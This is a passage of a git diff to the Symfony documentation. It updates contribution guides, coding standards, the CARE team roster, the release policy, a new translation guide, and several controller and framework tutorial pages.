+  Then, capitalize the sentence, do not end with a period, and use an
+  imperative verb to start.
+
+  Here is a full example of a subject line: ``[MagicBundle] Add `MagicConfig`
+  that allows configuring things``.
 
 .. tip::
 
@@ -233,16 +246,7 @@ in mind the following:
     as defined in `PSR-1`_ and `PSR-2`_.
 
     A status is posted below the pull request description with a summary
-    of any problems it detects or any `Travis-CI`_ build failures.
-
-.. tip::
-
-    A good commit message is composed of a summary (the first line),
-    optionally followed by a blank line and a more detailed description. The
-    summary should start with the Component you are working on in square
-    brackets (``[DependencyInjection]``, ``[FrameworkBundle]``, ...). Use a
-    verb (``fixed ...``, ``added ...``, ...) to start the summary and don't
-    add a period at the end.
+    of any problems it detects or any GitHub Actions build failures.
 
 .. _prepare-your-patch-for-submission:
 
@@ -285,7 +289,7 @@ while to finish your changes):
 
 .. tip::
 
-    Replace ``5.x`` with the branch you selected previously (e.g. ``3.4``)
+    Replace ``5.x`` with the branch you selected previously (e.g. ``4.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -312,8 +316,8 @@ You can now make a pull request on the ``symfony/symfony`` GitHub repository.
 
 .. tip::
 
-    Take care to point your pull request towards ``symfony:3.4`` if you want
-    the core team to pull a bug fix based on the ``3.4`` branch.
+    Take care to point your pull request towards ``symfony:4.4`` if you want
+    the core team to pull a bug fix based on the ``4.4`` branch.
 
 To ease the core team work, always include the modified components in your
 pull request message, like in:
@@ -366,8 +370,7 @@ because you want early feedback on your work, add an item to todo-list:
     - [ ] gather feedback for my changes
 
 As long as you have items in the todo-list, please prefix the pull request
-title with "[WIP]". If you do not yet want to trigger the automated tests,
-you can also set the PR to `draft status`_.
+title with "[WIP]".
 
 In the pull request description, give as much detail as possible about your
 changes (don't hesitate to give code examples to illustrate your points). If
@@ -396,6 +399,98 @@ The :doc:`core team </contributing/code/core_team>` is responsible for deciding
 which PR gets merged, so their feedback is the most relevant. So do not feel
 pressured to refactor your code immediately when someone provides feedback.
 
+Automated Feedback
+~~~~~~~~~~~~~~~~~~
+
+There are many automated scripts that will provide feedback on a pull request.
+
+fabbot
+""""""
+
+`fabbot`_ will review code style, check for common typos and make sure the git
+history looks good. If there are any issues, fabbot will often suggest what changes
+that should be done. Most of the time you get a command to run to automatically
+fix the changes.
+
+It is rare, but fabbot could be wrong. One should verify if the suggested changes
+make sense and that they are related to the pull request.
+
+Psalm
+"""""
+
+`Psalm`_ will make a comment on a pull request if it discovers any potential
+type errors. The Psalm errors are not always correct, but each should be reviewed
+and discussed. A pull request should not update the Psalm baseline nor add ``@psalm-``
+annotations.
+
+After the `Psalm phar is installed`_, the analysis can be run locally with:
+
+.. code-block:: terminal
+
+    $ psalm.phar src/Symfony/Component/Workflow
+
+Automated Tests
+~~~~~~~~~~~~~~~
+
+A series of automated tests will run when submitting the pull request.
+These test the code under different conditions, to be sure nothing
+important is broken. Test failures can be unrelated to your changes. If you
+think this is the case, you can check if the target branch has the same
+errors and leave a comment on your PR.
+
+Otherwise, the test failure might be caused by your changes. The following
+test scenarios run on each change:
+
+``PHPUnit / Tests``
+    This job runs on Ubuntu using multiple PHP versions (each in their
+    own job). These jobs run the testsuite just like you would do locally.
+
+    A failure in these jobs often indicates a bug in the code.
+
+``PHPUnit / Tests (high-deps)``
+    This job checks each package (bridge, bundle or component) in ``src/``
+    individually by calling ``composer update`` and ``phpunit`` from inside
+    each package.
+
+    A failure in this job often indicates a missing package in the
+    ``composer.json`` of the failing package (e.g.
+    ``src/Symfony/Bundle/FrameworkBundle/composer.json``).
+
+    This job also runs relevant packages using a "flipped" test (indicated
+    by a ``^`` suffix in the package name). These tests checkout the
+    previous major release (e.g. ``4.4`` for a pull requests on ``5.4``)
+    and run the tests with your branch as dependency.
+
+    A failure in these flipped tests indicate a backwards compatibility
+    break in your changes.
+
+``PHPUnit / Tests (low-deps)``
+    This job also checks each package individually, but then uses
+    ``composer update --prefer-lowest`` before running the tests.
+
+    A failure in this job often indicates a wrong version range or a
+    missing package in the ``composer.json`` of the failing package.
+
+``continuous-integration/appveyor/pr``
+    This job runs on Windows using the x86 architecture and the lowest
+    supported PHP version. All tests first run without extra PHP
+    extensions. Then, all skipped tests are run using all required PHP
+    extensions.
+
+    A failure in this job often indicate that your changes do not support
+    Windows, x86 or PHP with minimal extensions.
+
+``Integration / Tests``
+    Integration tests require other services (e.g. Redis or RabbitMQ) to
+    run. This job only runs the tests in the ``integration`` PHPUnit group.
+
+    A failure in this job indicates a bug in the communication with these
+    services.
+
+``PHPUnit / Tests (experimental)``
+    This job always passes (even with failing tests) and is used by the
+    core team to prepare for the upcoming PHP versions.
+
 .. _rework-your-patch:
 
 Rework your Pull Request
@@ -403,7 +498,7 @@ Rework your Pull Request
 
 Based on the feedback on the pull request, you might need to rework your
 PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
-``upstream/3.4``, don't merge; and force the push to the origin:
+``upstream/4.4``, don't merge; and force the push to the origin:
 
 .. code-block:: terminal
 
@@ -427,9 +522,10 @@ before merging.
 .. _Symfony repository: https://github.com/symfony/symfony
 .. _`documentation repository`: https://github.com/symfony/symfony-docs
 .. _`fabbot`: https://fabbot.io
+.. _`Psalm`: https://psalm.dev/
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
-.. _`Travis-CI`: https://travis-ci.org/symfony/symfony
-.. _`draft status`: https://help.github.com/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests
+.. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/
+.. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 88e015dc961..ff3b1ff08f4 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -5,8 +5,8 @@ Symfony code is contributed by thousands of developers around the world. To make
 every piece of code look and feel familiar, Symfony defines some coding standards
 that all contributions must follow.
 
-These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_ and `PSR-4`_
-standards, so you may already know most of them.
+These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_, `PSR-4`_
+and `PSR-12`_ standards, so you may already know most of them.
 
 Making your Code Follow the Coding Standards
 --------------------------------------------
@@ -220,6 +220,9 @@ Naming Conventions
 
 * Suffix exceptions with ``Exception``;
 
+* Prefix PHP attributes with ``As`` where applicable (e.g. ``#[AsCommand]``
+  instead of ``#[Command]``, but ``#[When]`` is kept as-is);
+
 * Use UpperCamelCase for naming PHP files (e.g. ``EnvVarProcessor.php``) and
   snake case for naming Twig templates and web assets (``section_layout.html.twig``,
   ``index.scss``);
@@ -283,6 +286,7 @@ License
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
+.. _`PSR-12`: https://www.php-fig.org/psr/psr-12/
 .. _`identical comparison`: https://www.php.net/manual/en/language.operators.comparison.php
 .. _`Yoda conditions`: https://en.wikipedia.org/wiki/Yoda_conditions
 .. _`camelCase`: https://en.wikipedia.org/wiki/Camel_case
diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 8f32d5befd1..d740fcfbba4 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -23,17 +23,37 @@ Here are all the members of the CARE team (in alphabetic order). You can contact
 any of them directly using the contact details below or you can also contact all
 of them at once by emailing **care@symfony.com**:
 
-* **Emilie Lorenzo**
+* **Timo Bakx**
 
-  * *E-mail*: emilie.lorenzo [at] symfony.com
-  * *Twitter*: `@EmilieLorenzo <https://twitter.com/EmilieLorenzo>`_
-  * *SymfonyConnect*: `emilielorenzo <https://connect.symfony.com/profile/emilielorenzo>`_
+  * *E-mail*: timobakx [at] gmail.com
+  * *Twitter*: `@TimoBakx <https://twitter.com/TimoBakx>`_
+  * *SymfonyConnect*: `timobakx <https://connect.symfony.com/profile/timobakx>`_
+  * *SymfonySlack*: `@Timo Bakx <https://symfony-devs.slack.com/team/U3FQ2GVJA>`_
+
+* **Zan Baldwin**
+
+  * *E-mail*: hello [at] zanbaldwin.com
+  * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_
+  * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
+  * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
+
+* **Valentine Boineau**
+
+  * *E-mail*: valentine.boineau [at] gmail.com
+  * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_
+
+* **Magali Milbergue**
+
+  * *E-mail*: magali.milbergue [at] gmail.com
+  * *Twitter*: `@magalimilbergue <https://twitter.com/magalimilbergue>`_
+  * *SymfonyConnect*: `magali_milbergue <https://connect.symfony.com/profile/magali_milbergue>`_
 
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com
   * *Twitter*: `@tobiasnyholm <https://twitter.com/tobiasnyholm>`_
   * *SymfonyConnect*: `tobias <https://connect.symfony.com/profile/tobias>`_
+  * *SymfonySlack*: `@Tobias Nyholm <https://symfony-devs.slack.com/team/U3A9CNEDB>`_
 
 About the CARE Team
 -------------------
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 260a357c596..7b8f58256f8 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,7 +7,7 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 4.4.9, 5.0.9, 5.1.1) comes out roughly every
+* A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
 * A new **Symfony minor version** (e.g. 4.4, 5.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features, but
@@ -53,7 +53,7 @@ Maintenance
 
 Starting from the Symfony 3.x branch, the number of minor versions is limited to
 five per branch (X.0, X.1, X.2, X.3 and X.4). The last minor version of a branch
-(e.g. 3.4, 4.4, 5.4) is considered a **long-term support version** and the other
+(e.g. 4.4, 5.4) is considered a **long-term support version** and the other
 ones are considered **standard versions**:
 
 =======================  =====================  ================================
@@ -87,20 +87,36 @@ learn more about how deprecations are handled in Symfony.
 .. _major-version-development:
 
 This deprecation policy also requires a custom development process for major
-versions (4.0, 5.0, 6.0, etc.) In those cases, Symfony develops at the same time
-two versions: the new major one (e.g. 4.0) and the latest version of the
-previous branch (e.g. 3.4).
+versions (5.0, 6.0, etc.) In those cases, Symfony develops at the same time
+two versions: the new major one (e.g. 5.0) and the latest version of the
+previous branch (e.g. 4.4).
 
 Both versions have the same new features, but they differ in the deprecated
-features. The oldest version (3.4 in this example) contains all the deprecated
-features whereas the new version (4.0 in this example) removes all of them.
+features. The oldest version (4.4 in this example) contains all the deprecated
+features whereas the new version (5.0 in this example) removes all of them.
 
-This allows you to upgrade your projects to the latest minor version (e.g. 3.4),
+This allows you to upgrade your projects to the latest minor version (e.g. 4.4),
 see all the deprecation messages and fix them. Once you have fixed all those
-deprecations, you can upgrade to the new major version (e.g. 4.0) without
+deprecations, you can upgrade to the new major version (e.g. 5.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 
+PHP Compatibility
+-----------------
+
+The **minimum** PHP version is decided for each major Symfony version by consensus
+amongst the :doc:`core team </contributing/code/core_team>` and documented as
+part of the :ref:`technical requirements for running Symfony applications
+<symfony-tech-requirements>`.
+
+Throughout each Symfony release's support lifetime, all released versions of PHP
+including new major versions will be supported. In this way, the **maximum** supported
+version of PHP for a maintained Symfony release is the latest released
+one that is publicly available.
+
+For out-of-support releases of Symfony, the latest PHP version at time of EOL is the last
+supported PHP version. Newer versions of PHP may or may not function.
+
 Rationale
 ---------
 
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index fc6a2c4e5e5..6213c569289 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -112,16 +112,16 @@ memorable name for the new branch (if you are fixing a reported issue, use
 
 .. code-block:: terminal
 
-    $ git checkout -b improve_install_article upstream/3.4
+    $ git checkout -b improve_install_article upstream/4.4
 
 In this example, the name of the branch is ``improve_install_article`` and the
-``upstream/3.4`` value tells Git to create this branch based on the ``3.4``
+``upstream/4.4`` value tells Git to create this branch based on the ``4.4``
 branch of the ``upstream`` remote, which is the original Symfony Docs repository.
 
 Fixes should always be based on the **oldest maintained branch** which contains
-the error. Nowadays this is the ``3.4`` branch. If you are instead documenting a
+the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/3.1``. Not sure? That's OK! Just use the ``upstream/master`` branch.
+``upstream/5.4``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the
@@ -155,7 +155,7 @@ changes should be applied:
    :align: center
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
-the **base** branch should be the ``3.4``, which is the branch that you selected
+the **base** branch should be the ``4.4``, which is the branch that you selected
 to base your changes on. The **head fork** should be your forked copy
 of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``,
 which is the name of the branch you created and where you made your changes.
@@ -205,7 +205,7 @@ contribution to the Symfony docs:
     # create a new branch based on the oldest maintained version
     $ cd projects/symfony-docs/
     $ git fetch upstream
-    $ git checkout -b my_changes upstream/3.4
+    $ git checkout -b my_changes upstream/4.4
 
     # ... do your changes
 
@@ -295,16 +295,16 @@ Please be patient. It can take up to several days before your pull request can
 be fully reviewed. After merging the changes, it could take again several hours
 before your changes appear on the Symfony website.
 
-Why Should I Use the Oldest Maintained Branch Instead of the Master Branch?
+Why Should I Use the Oldest Maintained Branch Instead of the Latest Branch?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Consistent with Symfony's source code, the documentation repository is split
 into multiple branches, corresponding to the different versions of Symfony itself.
-The ``master`` branch holds the documentation for the development branch of
+The latest (e.g. ``5.x``) branch holds the documentation for the development branch of
 the code.
 
-Unless you're documenting a feature that was introduced after Symfony 3.4,
-your changes should always be based on the ``3.4`` branch. Documentation managers
+Unless you're documenting a feature that was introduced after Symfony 4.4,
+your changes should always be based on the ``4.4`` branch. Documentation managers
 will use the necessary Git-magic to also apply your changes to all the active
 branches of the documentation.
 
@@ -338,7 +338,7 @@ definitely don't want you to waste your time!
 .. _`GitHub`: https://github.com/
 .. _`fork the repository`: https://help.github.com/github/getting-started-with-github/fork-a-repo
 .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc
-.. _`SymfonyConnect`: https://connect.symfony.com/
+.. _`SymfonyConnect`: https://symfony.com/connect/login
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
 .. _`roadmap`: https://symfony.com/releases
diff --git a/contributing/index.rst b/contributing/index.rst
index 923a4e48ed4..d76b4a8e037 100644
--- a/contributing/index.rst
+++ b/contributing/index.rst
@@ -7,6 +7,7 @@ Contributing
     code_of_conduct/index
     code/index
     documentation/index
+    translations/index
     community/index
     diversity/index
 
diff --git a/contributing/translations/index.rst b/contributing/translations/index.rst
new file mode 100644
index 00000000000..d865111f0cf
--- /dev/null
+++ b/contributing/translations/index.rst
@@ -0,0 +1,103 @@
+Contributing Translations
+=========================
+
+Some Symfony Components include certain messages that must be translated to
+different languages. For example, if a user submits a form with a wrong value in
+a :doc:`TimezoneType </reference/forms/types/timezone>` field, Symfony shows the
+following error message by default: "This value is not a valid timezone."
+
+These messages are translated into tens of languages thanks to the Symfony
+community. Symfony adds new messages on a regular basis, so this is an ongoing
+translation process and you can help us providing the missing translations.
+
+How to Contribute a Translation
+-------------------------------
+
+Imagine that you can speak both English and Swedish and want to check if there's
+some missing Swedish translations to contribute them.
+
+**Step 1.** Translations are contributed to the oldest maintained branch of the
+Symfony repository. Visit the `Symfony Releases`_ page to find out which is the
+current oldest maintained branch.
+
+Then, you need to either download or browse that Symfony version contents:
+
+* If you know Git and prefer the command console, clone the Symfony repository
+  and check out the oldest maintained branch (read the
+  :doc:`Symfony Documentation contribution guide </contributing/documentation/overview>`
+  if you want to learn about this process);
+* If you prefer to use a web based interface, visit
+  `https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_
+  and switch to the oldest maintained branch.
+
+**Step 2.** Check out if there's some missing translation in your language by
+checking these directories:
+
+* ``src/Symfony/Component/Form/Resources/translations/``
+* ``src/Symfony/Component/Security/Core/Resources/translations/``
+* ``src/Symfony/Component/Validator/Resources/translations/``
+
+Symfony uses the :ref:`XLIFF format <best-practice-internationalization>` to
+store translations. In this example, you are looking for missing Swedish
+translations, so you should look for files called ``*.sv.xlf``.
+
+.. note::
+
+    If there's no XLIFF file for your language yet, create it yourself
+    duplicating the original English file (e.g. ``validators.en.xlf``).
+
+**Step 3.** Contribute the missing translations. To do that, compare the file
+in your language to the equivalent file in English.
+
+Imagine that you open the ``validators.sv.xlf`` and see this at the end of the file:
+
+.. code-block:: xml
+
+    <!-- src/Symfony/Component/Validator/Resources/translations/validators.sv.xlf -->
+
+    <!-- ... -->
+    <trans-unit id="91">
+        <source>This value should be either negative or zero.</source>
+        <target>Detta värde bör vara antingen negativt eller noll.</target>
+    </trans-unit>
+    <trans-unit id="92">
+        <source>This value is not a valid timezone.</source>
+        <target>Detta värde är inte en giltig tidszon.</target>
+    </trans-unit>
+
+If you open the equivalent ``validators.en.xlf`` file, you can see that the
+English file has more messages to translate:
+
+.. code-block:: xml
+
+    <!-- src/Symfony/Component/Validator/Resources/translations/validators.en.xlf -->
+
+    <!-- ... -->
+    <trans-unit id="91">
+        <source>This value should be either negative or zero.</source>
+        <target>This value should be either negative or zero.</target>
+    </trans-unit>
+    <trans-unit id="92">
+        <source>This value is not a valid timezone.</source>
+        <target>This value is not a valid timezone.</target>
+    </trans-unit>
+    <trans-unit id="93">
+        <source>This password has been leaked in a data breach, it must not be used. Please use another password.</source>
+        <target>This password has been leaked in a data breach, it must not be used. Please use another password.</target>
+    </trans-unit>
+    <trans-unit id="94">
+        <source>This value should be between {{ min }} and {{ max }}.</source>
+        <target>This value should be between {{ min }} and {{ max }}.</target>
+    </trans-unit>
+
+The messages with ``id=93`` and ``id=94`` are missing in the Swedish file.
+Copy and paste the messages from the English file, translate the content
+inside the ``<target>`` tag and save the changes.
+
+**Step 4.** Make the pull request against the
+`https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_ repository.
+If you need help, check the other Symfony guides about
+:doc:`contributing code or docs </contributing/index>` because the process is
+the same.
+
+.. _`Symfony Releases`: https://symfony.com/releases
diff --git a/controller.rst b/controller.rst
index 212d0a2b509..d8ca24a1b17 100644
--- a/controller.rst
+++ b/controller.rst
@@ -98,16 +98,16 @@ Add the ``use`` statement atop your controller class and then modify
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
-    namespace App\Controller;
+      // src/Controller/LuckyController.php
+      namespace App\Controller;
 
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class LuckyController
     + class LuckyController extends AbstractController
-    {
-        // ...
-    }
+      {
+          // ...
+      }
 
 That's it! You now have access to methods like :ref:`$this->render() <controller-rendering-templates>`
 and many others that you'll learn about next.
@@ -271,7 +271,7 @@ the argument by its name:
             ->addTag('controller.service_arguments')
             ->setBindings([
                 '$logger' => new Reference('monolog.logger.doctrine'),
-                '$projectDir' => '%kernel.project_dir%'
+                '$projectDir' => '%kernel.project_dir%',
             ])
         ;
 
@@ -394,7 +394,7 @@ Request object.
 Managing the Session
 --------------------
 
-Symfony provides a session service that you can use to store information
+Symfony provides a session object that you can use to store information
 about the user between requests. Session is enabled by default, but will only be
 started if you read or write from it.
 
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index c9693bbaf9b..ebc59a02bf5 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -75,7 +75,7 @@ with the ``User`` class::
     {
         public function index(User $user)
         {
-            return new Response('Hello '.$user->getUsername().'!');
+            return new Response('Hello '.$user->getUserIdentifier().'!');
         }
     }
 
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 337723d8605..a94294573a0 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -184,12 +184,11 @@ automatically when installing ``symfony/framework-bundle``):
         };
 
 With this route added, you can use URLs like these to preview the *error* page
-for a given status code as HTML or for a given status code and format.
+for a given status code as HTML or for a given status code and format (you might
+need to replace ``http://localhost/`` by the host used in your local setup):
 
-.. code-block:: text
-
-     http://localhost/index.php/_error/{statusCode}
-     http://localhost/index.php/_error/{statusCode}.{format}
+* ``http://localhost/_error/{statusCode}`` for HTML
+* ``http://localhost/_error/{statusCode}.{format}`` for any other format
 
 .. _overriding-non-html-error-output:
 
@@ -273,10 +272,12 @@ configuration option to point to it:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'error_controller' => 'App\Controller\ErrorController::show',
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        ]);
+            $framework->errorController('App\Controller\ErrorController::show');
+        };
 
 The :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`
 class used by the FrameworkBundle as a listener of the ``kernel.exception`` event creates
@@ -284,7 +285,7 @@ the request that will be dispatched to your controller. In addition, your contro
 will be passed two parameters:
 
 ``exception``
-    The original :class:`Throwable` instance being handled.
+    The original :phpclass:`Throwable` instance being handled.
 
 ``logger``
     A :class:`\\Symfony\\Component\\HttpKernel\\Log\\DebugLoggerInterface`
@@ -318,7 +319,7 @@ error pages.
 .. note::
 
     If your listener calls ``setThrowable()`` on the
-    :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`,
+    :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.
 
diff --git a/controller/service.rst b/controller/service.rst
index f8048e09def..017b99c61c1 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -4,13 +4,29 @@
 How to Define Controllers as Services
 =====================================
 
-In Symfony, a controller does *not* need to be registered as a service. But if you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-your controllers *are* already registered as services. This means you can use dependency
-injection like any other normal service.
+In Symfony, a controller does *not* need to be registered as a service. But if
+you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+and your controllers extend the `AbstractController`_ class, they *are* automatically
+registered as services. This means you can use dependency injection like any
+other normal service.
+
+If your controllers don't extend the `AbstractController`_ class, you must
+explicitly mark your controller services as ``public``. Alternatively, you can
+apply the ``controller.service_arguments`` tag to your controller services. This
+will make the tagged services ``public`` and will allow you to inject services
+in method parameters:
 
-Referencing your Service from Routing
--------------------------------------
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+
+        # controllers are imported separately to make sure services can be injected
+        # as action arguments even if you don't extend any base controller class
+        App\Controller\:
+           resource: '../src/Controller/'
+           tags: ['controller.service_arguments']
 
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
@@ -41,6 +57,22 @@ a service like: ``App\Controller\HelloController::index``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/HelloController.php
+        namespace App\Controller;
+
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class HelloController
+        {
+            #[Route('/hello', name: 'hello', methods: ['GET'])]
+            public function index()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -105,12 +137,29 @@ which is a common practice when following the `ADR pattern`_
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/Hello.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        #[Route('/hello/{name}', name: 'hello')]
+        class Hello
+        {
+            public function __invoke($name = 'World')
+            {
+                return new Response(sprintf('Hello %s!', $name));
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
         hello:
             path:     /hello/{name}
-            defaults: { _controller: app.hello_controller }
+            controller: app.hello_controller
 
     .. code-block:: xml
 
@@ -189,5 +238,4 @@ If you want to know what type-hints to use for each service, see the
 
 .. _`Controller class source code`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
 .. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
-.. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
 .. _`ADR pattern`: https://en.wikipedia.org/wiki/Action%E2%80%93domain%E2%80%93responder
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 37c72316878..95c078700c1 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -38,8 +38,7 @@ In this case, the SOAP service will allow the client to call a method called
 
         public function hello($name)
         {
-
-            $message = new \Swift_Message('Hello Service')
+            $message = (new \Swift_Message('Hello Service'))
                 ->setTo('me@example.com')
                 ->setBody($name.' says hi!');
 
@@ -96,13 +95,13 @@ buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
 into the content of the Response and clear the output buffer. Finally, you're
 ready to return the ``Response``.
 
-Below is an example calling the service using a `NuSOAP`_ client. This example
+Below is an example calling the service using a native `SoapClient`_ client. This example
 assumes that the ``index()`` method in the controller above is accessible via
 the route ``/soap``::
 
     $soapClient = new \SoapClient('http://example.com/index.php/soap?wsdl');
 
-    $result = $soapClient->call('hello', ['name' => 'Scott']);
+    $result = $soapClient->__soapCall('hello', ['name' => 'Scott']);
 
 An example WSDL is below.
 
@@ -170,3 +169,4 @@ An example WSDL is below.
 .. _`NuSOAP`: https://sourceforge.net/projects/nusoap
 .. _`output buffering`: https://www.php.net/manual/en/book.outcontrol.php
 .. _`Laminas SOAP`: https://docs.laminas.dev/laminas-soap/server/
+.. _`SoapClient`: https://www.php.net/manual/en/class.soapclient.php
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index edd17ed50dc..2abf1dc34c0 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -174,8 +174,8 @@ Finally, you need to update the code of the controller that handles the form::
                 return $this->redirectToRoute('app_product_list');
             }
 
-            return $this->render('product/new.html.twig', [
-                'form' => $form->createView(),
+            return $this->renderForm('product/new.html.twig', [
+                'form' => $form,
             ]);
         }
     }
diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index e6a7293fa6b..8e4f1078ce2 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -38,7 +38,7 @@ Let's see it in action::
     // framework/index.php
     require_once __DIR__.'/init.php';
 
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
 
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
     $response->send();
@@ -56,9 +56,9 @@ not feel like a good abstraction, does it? We still have the ``send()`` method
 for all pages, our pages do not look like templates and we are still not able
 to test this code properly.
 
-Moreover, adding a new page means that we need to create a new PHP script,
-which name is exposed to the end user via the URL
-(``http://127.0.0.1:4321/bye.php``): there is a direct mapping between the PHP
+Moreover, adding a new page means that we need to create a new PHP script, the name of
+which is exposed to the end user via the URL
+(``http://127.0.0.1:4321/bye.php``). There is a direct mapping between the PHP
 script name and the client URL. This is because the dispatching of the request
 is done by the web server directly. It might be a good idea to move this
 dispatching to our code for better flexibility. This can be achieved by routing
@@ -98,14 +98,14 @@ Such a script might look like the following::
 And here is for instance the new ``hello.php`` script::
 
     // framework/hello.php
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 
 In the ``front.php`` script, ``$map`` associates URL paths with their
 corresponding PHP script paths.
 
 As a bonus, if the client asks for a path that is not defined in the URL map,
-we return a custom 404 page; you are now in control of your website.
+we return a custom 404 page. You are now in control of your website.
 
 To access a page, you must now use the ``front.php`` script:
 
@@ -133,7 +133,7 @@ its sub-directories (only if needed -- see above tip).
     argument is the URL path you want to simulate.
 
 Now that the web server always accesses the same script (``front.php``) for all
-pages, we can secure the code further by moving all other PHP files outside the
+pages, we can secure the code further by moving all other PHP files outside of the
 web root directory:
 
 .. code-block:: text
@@ -151,7 +151,7 @@ web root directory:
         └── front.php
 
 Now, configure your web server root directory to point to ``web/`` and all
-other files won't be accessible from the client anymore.
+other files will no longer be accessible from the client.
 
 To test your changes in a browser (``http://localhost:4321/hello?name=Fabien``),
 run the :doc:`Symfony Local Web Server </setup/symfony_server>`:
@@ -166,7 +166,7 @@ run the :doc:`Symfony Local Web Server </setup/symfony_server>`:
     various PHP files; the changes are left as an exercise for the reader.
 
 The last thing that is repeated in each page is the call to ``setContent()``.
-We can convert all pages to "templates" by just echoing the content and calling
+We can convert all pages to "templates" by echoing the content and calling
 the ``setContent()`` directly from the front controller script::
 
     // example.com/web/front.php
@@ -185,10 +185,12 @@ the ``setContent()`` directly from the front controller script::
 
     // ...
 
-And the ``hello.php`` script can now be converted to a template::
+And the ``hello.php`` script can now be converted to a template:
+
+.. code-block:: html+php
 
